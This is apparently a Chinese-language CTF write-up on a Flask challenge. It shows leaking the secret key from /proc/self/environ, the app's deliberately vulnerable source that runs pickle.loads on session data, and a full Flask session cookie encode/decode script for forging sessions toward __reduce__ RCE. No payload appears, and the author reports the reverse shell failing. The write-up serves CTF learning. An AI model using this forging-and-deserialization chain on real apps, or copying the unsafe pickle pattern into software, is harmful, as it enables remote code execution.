考点:
环境变量信息泄露
pickle 反序列化RCE
Flask_seesion 伪造
__ruduce__魔术方法利用
思路:反序列化肯定包含 创建新对象的操作,如果__reduce__里包含攻击代码就可以实现RCE,但是被反序列化的输出储存在session里,需要知道密钥进行伪造。
密钥获得途径:一般都可以在 代码里、配置文件里(app.config)、环境变量里(/proc/self/environ)获得。这题属于第三者。
首先拿到secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuhOLDPWD
/app/source源码信息:
#!/usr/bin/python3.6 import os import pickle from base64 import b64decode from flask import Flask, request, render_template, session app = Flask(__name__) app.config["SECRET_KEY"] = "*******" User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, }) @app.route('/', methods=('GET',)) def index_handler(): if not session.get('u'): u = pickle.dumps(User()) session['u'] = u return "/file?file=index.js" @app.route('/file', methods=('GET',)) def file_handler(): path = request.args.get('file') path = os.path.join('static', path) if not os.path.exists(path) or os.path.isdir(path) \ or '.py' in path or '.sh' in path or '..' in path or "flag" in path: return 'disallowed' with open(path, 'r') as fp: content = fp.read() return content @app.route('/admin', methods=('GET',)) def admin_handler(): try: u = session.get('u') if isinstance(u, dict):#如果u对应的值是字典,会读取 u.b u = b64decode(u.get('b')) u = pickle.loads(u)#pickle反序列化 except Exception: return 'uhh?' if u.is_admin == 1: return 'welcome, admin' else: return 'who are you?' if __name__ == '__main__': app.run('0.0.0.0', port=80, debug=False)
因为需要伪造 session 但是我在kali 用 flask-session-cookie-manager 加密后的session 没有 反弹shell 成功。 在 window 用的脚本 也没成功。
看到别的师傅用这个脚本,试一下:
""" Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' # standard imports import sys import zlib from itsdangerous import base64_decode import ast # Abstract Base Classes (PEP 3119) if sys.version_info[0] < 3: # < 3.0 raise Exception('Must be using at least Python 3') elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 from abc import ABCMeta, abstractmethod else: # > 3.4 from abc import ABC, abstractmethod # Lib for argument parsing import argparse # external Imports from flask.sessions import SecureCookieSessionInterface class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 class FSCM(metaclass=ABCMeta): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e else: # > 3.4 class FSCM(ABC): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e if __name__ == "__main__": # Args are only relevant for __main__ usage ## Description for help parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder', epilog="Author : Wilson Sumanang, Alexandre ZANNI") ## prepare sub commands subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand') ## create the parser for the encode command parser_encode = subparsers.add_parser('encode', help='encode') parser_encode.add_argument('-s', '--secret-key', metavar='', help='Secret key', required=True) parser_encode.add_argument('-t', '--cookie-structure', metavar='', help='Session cookie structure', required=True) ## create the parser for the decode command parser_decode = subparsers.add_parser('decode', help='decode') parser_decode.add_argument('-s', '--secret-key', metavar='', help='Secret key', required=False) parser_decode.add_argument('-c', '--cookie-value', metavar='', help='Session cookie value', required=True) ## get args args = parser.parse_args() ## find the option chosen if(args.subcommand == 'encode'): if(args.secret_key is not None and args.cookie_structure is not None): print(FSCM.encode(args.secret_key, args.cookie_structure)) elif(args.subcommand == 'decode'): if(args.secret_key is not None and args.cookie_value is not None): print(FSCM.decode(args.cookie_value,args.secret_key)) elif(args.cookie_value is not None): print(FSCM.decode(args.cookie_value))
同样是在linux 下使用
连上了之后就再也连不上了。 不搞了 这题真的浪费时间